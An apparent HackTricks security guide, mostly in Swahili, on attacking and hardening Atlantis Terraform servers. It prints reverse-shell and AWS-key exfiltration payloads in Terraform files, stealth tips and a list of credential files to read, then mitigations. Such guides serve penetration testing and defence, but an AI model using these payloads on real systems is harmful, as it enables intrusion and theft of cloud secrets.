Atlantis Security

Support HackTricks

Basic Information

Atlantis kimsingi inakusaidia kuendesha terraform kutoka kwa Pull Requests kutoka kwa seva yako ya git.

Local Lab

  1. Tembelea ukurasa wa toleo la atlantis katika https://github.com/runatlantis/atlantis/releases na pakua ile inayokufaa.

  2. Unda token ya kibinafsi (ikiwa na ufikiaji wa repo) ya mtumiaji wako wa github

  3. Tekeleza ./atlantis testdrive na itaunda demo repo ambayo unaweza kutumia ku zungumza na atlantis

  4. Unaweza kufikia ukurasa wa wavuti katika 127.0.0.1:4141

Atlantis Access

Git Server Credentials

Atlantis inasaidia wenyeji kadhaa wa git kama Github, Gitlab, Bitbucket na Azure DevOps. Hata hivyo, ili kufikia repos katika majukwaa hayo na kufanya vitendo, inahitaji kuwa na ufikiaji wa kibali uliopewa (angalau ruhusa za kuandika). The docs inahimiza kuunda mtumiaji katika majukwaa haya mahsusi kwa Atlantis, lakini watu wengine wanaweza kutumia akaunti za kibinafsi.

Katika hali yoyote, kutoka kwa mtazamo wa washambuliaji, akaunti ya Atlantis itakuwa moja ya ya kuvutia sana kuvunjwa.

Webhooks

Atlantis inatumia kwa hiari Webhook secrets kuthibitisha kwamba webhooks inazopokea kutoka kwa mwenyeji wako wa Git ni halali.

Njia moja ya kuthibitisha hii itakuwa kuruhusu maombi kuja tu kutoka kwa IPs za mwenyeji wako wa Git lakini njia rahisi ni kutumia Webhook Secret.

Kumbuka kwamba isipokuwa unatumia seva ya kibinafsi ya github au bitbucket, itabidi ufichue mwisho wa webhook kwa Mtandao.

Atlantis itakuwa ikifichua webhooks ili seva ya git iweze kutuma habari. Kutoka kwa mtazamo wa washambuliaji itakuwa ya kuvutia kujua kama unaweza kutuma ujumbe.

Provider Credentials

Kutoka kwenye docs:

Atlantis inafanya Terraform kwa kutekeleza tu amri za terraform plan na apply kwenye seva ambayo Atlantis inahifadhiwa. Kama vile unavyofanya Terraform kwa ndani, Atlantis inahitaji akreditif za mtoa huduma wako maalum.

Ni juu yako jinsi unavyotoa akreditif kwa mtoa huduma wako maalum kwa Atlantis:

  • Atlantis Helm Chart na AWS Fargate Module zina mifumo yao wenyewe ya akreditif za mtoa huduma. Soma docs zao.

  • Ikiwa unafanya kazi na Atlantis katika wingu basi mawingu mengi yana njia za kutoa ufikiaji wa API ya wingu kwa programu zinazofanya kazi ndani yao, mfano:

  • AWS EC2 Roles (Tafuta "EC2 Role")

  • Watumiaji wengi huweka mabadiliko ya mazingira, mfano AWS_ACCESS_KEY, ambapo Atlantis inafanya kazi.

  • Wengine huunda faili za usanidi zinazohitajika, mfano ~/.aws/credentials, ambapo Atlantis inafanya kazi.

  • Tumia HashiCorp Vault Provider kupata akreditif za mtoa huduma.

Container ambapo Atlantis inafanya kazi itakuwa na uwezekano mkubwa ina akreditif za kibali kwa waendeshaji (AWS, GCP, Github...) ambao Atlantis inasimamia kupitia Terraform.

Web Page

Kwa kawaida Atlantis itafanya kazi ukurasa wa wavuti katika bandari 4141 kwenye localhost. Ukurasa huu unaruhusu tu kuwezesha/kuzima atlantis apply na kuangalia hali ya mpango wa repos na kuziweka wazi (hauruhusu kubadilisha mambo, hivyo si ya manufaa sana).

Huenda usiione ikifichuliwa kwa mtandao, lakini inaonekana kwa kawaida hakuna akreditif zinazohitajika kuifikia (na ikiwa zipo atlantis:atlantis ndizo za kawaida).

Server Configuration

Usanidi wa atlantis server unaweza kuainishwa kupitia bendera za mistari ya amri, mabadiliko ya mazingira, faili ya usanidi au mchanganyiko wa tatu.

Thamani zinachaguliwa katika mpangilio huu:

  1. Bendera

  2. Mabadiliko ya Mazingira

  3. Faili ya Usanidi

Kumbuka kwamba katika usanidi unaweza kupata thamani za kuvutia kama tokens na nywila.

Repos Configuration

Mifumo fulani inaathiri jinsi repos zinavyosimamiwa. Hata hivyo, inawezekana kwamba kila repo inahitaji mipangilio tofauti, hivyo kuna njia za kuainisha kila repo. Hii ndiyo mpangilio wa kipaumbele:

  1. Faili ya Repo /atlantis.yml. Faili hii inaweza kutumika kuainisha jinsi atlantis inavyopaswa kutenda kwa repo. Hata hivyo, kwa kawaida funguo fulani haziwezi kuainishwa hapa bila bendera fulani zinazoruhusu.

  2. Huenda ikahitajika kuruhusiwa na bendera kama allowed_overrides au allow_custom_workflows

  3. Server Side Config: Unaweza kuipitia kwa bendera --repo-config na ni yaml inayopanga mipangilio mipya kwa kila repo (regexes zinasaidiwa)

  4. Thamani za Default

PR Protections

Atlantis inaruhusu kuashiria ikiwa unataka PR iwe imeidhinishwa na mtu mwingine (hata kama hiyo haijawekwa katika ulinzi wa tawi) na/au iwe inaweza kuunganishwa (ulinzi wa tawi umepita) kabla ya kuendesha apply. Kutoka kwa mtazamo wa usalama, kuweka chaguo zote mbili ni mapendekezo.

Katika kesi allowed_overrides ni Kweli, mipangilio hii inaweza kufutwa kwenye kila mradi na faili ya /atlantis.yml.

Scripts

Usanidi wa repo unaweza kuainisha scripts za kuendesha kabla (pre workflow hooks) na baada (post workflow hooks) workflow inatekelezwa.

Hakuna chaguo lolote la kuruhusu kuainisha scripts hizi katika repo /atlantis.yml.

Workflow

Katika usanidi wa repo (usanidi wa upande wa seva) unaweza kuainisha workflow mpya ya chaguo-msingi, au kuunda workflows mpya za kawaida. Unaweza pia kuainisha ni repos zipi zinaweza kufikia zile mpya zilizoundwa. Kisha, unaweza kuruhusu faili ya atlantis.yaml ya kila repo ku ainisha workflow ya kutumia.

Ikiwa bendera server side config allow_custom_workflows imewekwa kuwa Kweli, workflows zinaweza kuainishwa katika faili ya atlantis.yaml ya kila repo. Pia inaweza kuwa muhimu kwamba allowed_overrides pia iainishe workflow ili kufuta workflow ambayo itatumika. Hii itatoa RCE katika seva ya Atlantis kwa mtumiaji yeyote anayeweza kufikia repo hiyo.

# atlantis.yaml
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
- run: my custom plan command
apply:
steps:
- run: my custom apply command

Kuangalia Sera za Conftest

Atlantis inaunga mkono kuendesha server-side conftest sera dhidi ya matokeo ya mpango. Matumizi ya kawaida ya hatua hii ni pamoja na:

  • Kukataa matumizi ya orodha ya moduli

  • Kuthibitisha sifa za rasilimali wakati wa kuunda

  • Kukamata kufutwa kwa rasilimali bila kukusudia

  • Kuzuia hatari za usalama (yaani, kufichua bandari salama kwa umma)

Unaweza kuangalia jinsi ya kuikamilisha katika nyaraka.

Amri za Atlantis

Katika nyaraka unaweza kupata chaguzi unazoweza kutumia kuendesha Atlantis:

# Get help
atlantis help

# Run terraform plan
atlantis plan [options] -- [terraform plan flags]
##Options:
## -d directory
## -p project
## --verbose
## You can also add extra terraform options

# Run terraform apply
atlantis apply [options] -- [terraform apply flags]
##Options:
## -d directory
## -p project
## -w workspace
## --auto-merge-disabled
## --verbose
## You can also add extra terraform options

Mashambulizi

Ikiwa wakati wa kutumia unakutana na kosa hili: Error: Error acquiring the state lock

Unaweza kulitatua kwa kukimbia:

atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false

Atlantis plan RCE - Mabadiliko ya usanidi katika PR mpya

Ikiwa una ruhusa ya kuandika juu ya hifadhi, utaweza kuunda tawi jipya na kuzalisha PR. Ikiwa unaweza kutelezesha atlantis plan (au labda inatelezwa kiotomatiki) utaweza kufanya RCE ndani ya seva ya Atlantis.

Unaweza kufanya hivi kwa kufanya Atlantis ipakue chanzo cha data cha nje. Weka tu payload kama ifuatavyo katika faili ya main.tf:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Shambulio la Siri

Unaweza kufanya shambulio hili hata kwa njia ya siri zaidi, kwa kufuata mapendekezo haya:

  • Badala ya kuongeza rev shell moja kwa moja kwenye faili la terraform, unaweza kupakia rasilimali ya nje ambayo ina rev shell:

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

You can find the rev shell code in https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

  • Katika rasilimali ya nje, tumia kipengele cha ref kuficha kodi ya rev shell ya terraform katika tawi ndani ya repo, kitu kama: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

  • Badala ya kuunda PR kwa master ili kuanzisha Atlantis, unda matawi 2 (test1 na test2) na uunde PR kutoka moja hadi nyingine. Unapokamilisha shambulio, tu ondoa PR na matawi.

Atlantis plan Secrets Dump

You can dump secrets used by terraform running atlantis plan (terraform plan) by putting something like this in the terraform file:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Atlantis apply RCE - Mabadiliko ya usanidi katika PR mpya

Ikiwa una ruhusa ya kuandika juu ya hifadhi, utaweza kuunda tawi jipya na kuzalisha PR. Ikiwa unaweza kufanya atlantis apply utaweza RCE ndani ya seva ya Atlantis.

Hata hivyo, kawaida utahitaji kupita baadhi ya ulinzi:

  • Inayoweza kuunganishwa: Ikiwa ulinzi huu umewekwa katika Atlantis, unaweza tu kufanya atlantis apply ikiwa PR inaweza kuunganishwa (hii inamaanisha kuwa ulinzi wa tawi unahitaji kupitishwa).

  • Imekubaliwa: Ikiwa ulinzi huu umewekwa katika Atlantis, mtumiaji mwingine lazima akubali PR kabla hujaweza kufanya atlantis apply

  • Kwa kawaida unaweza kutumia token ya Gitbot kupita ulinzi huu

Kufanya terraform apply kwenye faili ya Terraform yenye uharibifu na local-exec. Unahitaji tu kuhakikisha kuwa payload kama hizi zinaishia kwenye faili ya main.tf:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Fuata mapendekezo kutoka kwa mbinu ya awali ili kufanya shambulio hili kwa njia ya siri.

Terraform Param Injection

Wakati wa kuendesha atlantis plan au atlantis apply, terraform inatekelezwa chini, unaweza kupitisha amri kwa terraform kutoka atlantis kwa kuandika kitu kama:

atlantis plan -- <terraform commands>
atlantis plan -- -h #Get terraform plan help

atlantis apply -- <terraform commands>
atlantis apply -- -h #Get terraform apply help

Something you can pass are env variables which might be helpful to bypass some protections. Check terraform env vars in https://www.terraform.io/cli/config/environment-variables

Custom Workflow

Running malicious custom build commands specified in an atlantis.yaml file. Atlantis uses the atlantis.yaml file from the pull request branch, not of master. This possibility was mentioned in a previous section:

If the server side config flag allow_custom_workflows is set to True, workflows can be specified in the atlantis.yaml file of each repo. It's also potentially needed that allowed_overrides specifies also workflow to override the workflow that is going to be used.

This will basically give RCE in the Atlantis server to any user that can access that repo.

# atlantis.yaml
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
- run: my custom plan command
apply:
steps:
- run: my custom apply command

Kupita mipango/kinga za matumizi

Ikiwa bendera ya server side config allowed_overrides ina apply_requirements iliyowekwa, inawezekana kwa repo kubadilisha mipango/kinga za matumizi ili kuzipita.

repos:
- id: /.*/
apply_requirements: []

PR Hijacking

Ikiwa mtu atatuma atlantis plan/apply maoni kwenye ombi lako halali la kuvuta, itasababisha terraform kuendesha wakati hutaki.

Zaidi ya hayo, ikiwa huna mipangilio katika branch protection ya kuomba kuangalia upya kila PR wakati commit mpya inatolewa kwake, mtu anaweza kuandika mipangilio ya uharibifu (angalia hali za awali) katika mipangilio ya terraform, kuendesha atlantis plan/apply na kupata RCE.

Hii ni mipangilio katika ulinzi wa branch wa Github:

Webhook Secret

Ikiwa umeweza kuiiba siri ya webhook iliyotumika au ikiwa hakuna siri ya webhook inayotumika, unaweza kuita webhook ya Atlantis na kuitisha amri za atlantis moja kwa moja.

Bitbucket

Bitbucket Cloud haikubali siri za webhook. Hii inaweza kuruhusu washambuliaji kuiga maombi kutoka Bitbucket. Hakikisha unaruhusu tu IP za Bitbucket.

  • Hii inamaanisha kwamba mshambuliaji anaweza kufanya maombi ya uongo kwa Atlantis ambayo yanaonekana kana kwamba yanatoka Bitbucket.

  • Ikiwa unataja --repo-allowlist basi wanaweza tu kuiga maombi yanayohusiana na hizo repos hivyo uharibifu mkubwa wanaoweza kufanya ni kupanga/kuomba kwenye repos zako.

  • Ili kuzuia hili, ruhusu anwani za IP za Bitbucket (angalia anwani za IPv4 za nje).

Post-Exploitation

Ikiwa umeweza kupata ufikiaji wa seva au angalau umepata LFI kuna mambo kadhaa ya kuvutia unapaswa kujaribu kusoma:

  • /home/atlantis/.git-credentials Inashikilia akreditif za ufikiaji wa vcs

  • /atlantis-data/atlantis.db Inashikilia akreditif za ufikiaji wa vcs na maelezo zaidi

  • /atlantis-data/repos/<org_name>/<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate Faili ya hali ya terraform

  • Mfano: /atlantis-data/repos/ghOrg_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate

  • /proc/1/environ Mabadiliko ya mazingira

  • /proc/[2-20]/cmdline Cmd line ya atlantis server (inaweza kuwa na data nyeti)

Mitigations

Don't Use On Public Repos

Kwa sababu mtu yeyote anaweza kutoa maoni kwenye ombi za kuvuta za umma, hata na mipango yote ya usalama iliyopo, bado ni hatari kuendesha Atlantis kwenye repos za umma bila mipangilio sahihi ya mipangilio ya usalama.

Don't Use --allow-fork-prs

Ikiwa unafanya kazi kwenye repo ya umma (ambayo haitashauriwa, angalia hapo juu) huwezi kuweka --allow-fork-prs (inarejelea kuwa si kweli) kwa sababu mtu yeyote anaweza kufungua ombi la kuvuta kutoka kwa fork yao hadi repo yako.

--repo-allowlist

Atlantis inahitaji uweze kutaja orodha ya ruhusa ya repos itakazokubali webhooks kutoka kupitia lippu ya --repo-allowlist. Kwa mfano:

  • Repos maalum: --repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests

  • Shirika lako lote: --repo-allowlist=github.com/runatlantis/*

  • Kila repo katika usakinishaji wako wa GitHub Enterprise: --repo-allowlist=github.yourcompany.com/*

  • Repos zote: --repo-allowlist=*. Inatumika wakati uko katika mtandao uliohifadhiwa lakini hatari bila pia kuweka siri ya webhook.

Lippu hii inahakikisha usakinishaji wako wa Atlantis haujatumika na repos usizodhibiti. Angalia atlantis server --help kwa maelezo zaidi.

Protect Terraform Planning

Ikiwa washambuliaji wanaowasilisha maombi ya kuvuta na msimbo wa uharibifu wa Terraform uko katika mfano wako wa tishio basi lazima uwe na ufahamu kwamba idhini za terraform apply hazitoshi. Inawezekana kuendesha msimbo wa uharibifu katika terraform plan kwa kutumia external data source au kwa kutaja mtoa huduma wa uharibifu. Msimbo huu unaweza kisha kuhamasisha akreditif zako.

Ili kuzuia hili, unaweza:

  1. Kuunda mtoa huduma ndani ya picha ya Atlantis au mwenyeji na kukataa egress katika uzalishaji.

  2. Tekeleza itifaki ya rejista ya mtoa huduma ndani na kukataa egress ya umma, kwa njia hiyo unadhibiti nani ana ufikiaji wa kuandika kwenye rejista.

  3. Badilisha mipangilio ya repo upande wa seva's hatua ya plan ili kuthibitisha dhidi ya matumizi ya watoa huduma au vyanzo vya data vilivyokatazwa au PRs kutoka kwa watumiaji wasioruhusiwa. Unaweza pia kuongeza uthibitisho wa ziada katika hatua hii, e.g. kuhitaji "thumbs-up" kwenye PR kabla ya kuruhusu plan kuendelea. Conftest inaweza kuwa ya msaada hapa.

Webhook Secrets

Atlantis inapaswa kuendeshwa na siri za Webhook zilizowekwa kupitia mazingira ya $ATLANTIS_GH_WEBHOOK_SECRET/$ATLANTIS_GITLAB_WEBHOOK_SECRET. Hata na lippu ya --repo-allowlist iliyowekwa, bila siri ya webhook, washambuliaji wanaweza kufanya maombi kwa Atlantis wakijifanya kama repo ambayo imeorodheshwa. Siri za webhook zinahakikisha kwamba maombi ya webhook yanatoka kwa mtoa huduma wako wa VCS (GitHub au GitLab).

Ikiwa unatumia Azure DevOps, badala ya siri za webhook ongeza jina la mtumiaji wa msingi na nenosiri.

Azure DevOps Basic Authentication

Azure DevOps inasaidia kutuma kichwa cha uthibitisho wa msingi katika matukio yote ya webhook. Hii inahitaji kutumia URL ya HTTPS kwa eneo lako la webhook.

SSL/HTTPS

Ikiwa unatumia siri za webhook lakini trafiki yako iko juu ya HTTP basi siri za webhook zinaweza kuibiwa. Wezesha SSL/HTTPS kwa kutumia lippu za --ssl-cert-file na --ssl-key-file.

Enable Authentication on Atlantis Web Server

Inashauriwa sana kuwezesha uthibitisho katika huduma ya wavuti. Wezesha BasicAuth kwa kutumia --web-basic-auth=true na weka jina la mtumiaji na nenosiri kwa kutumia lippu za --web-username=yourUsername na --web-password=yourPassword.

Unaweza pia kupitisha hizi kama mazingira ya ATLANTIS_WEB_BASIC_AUTH=true ATLANTIS_WEB_USERNAME=yourUsername na ATLANTIS_WEB_PASSWORD=yourPassword.

References

Support HackTricks

Last updated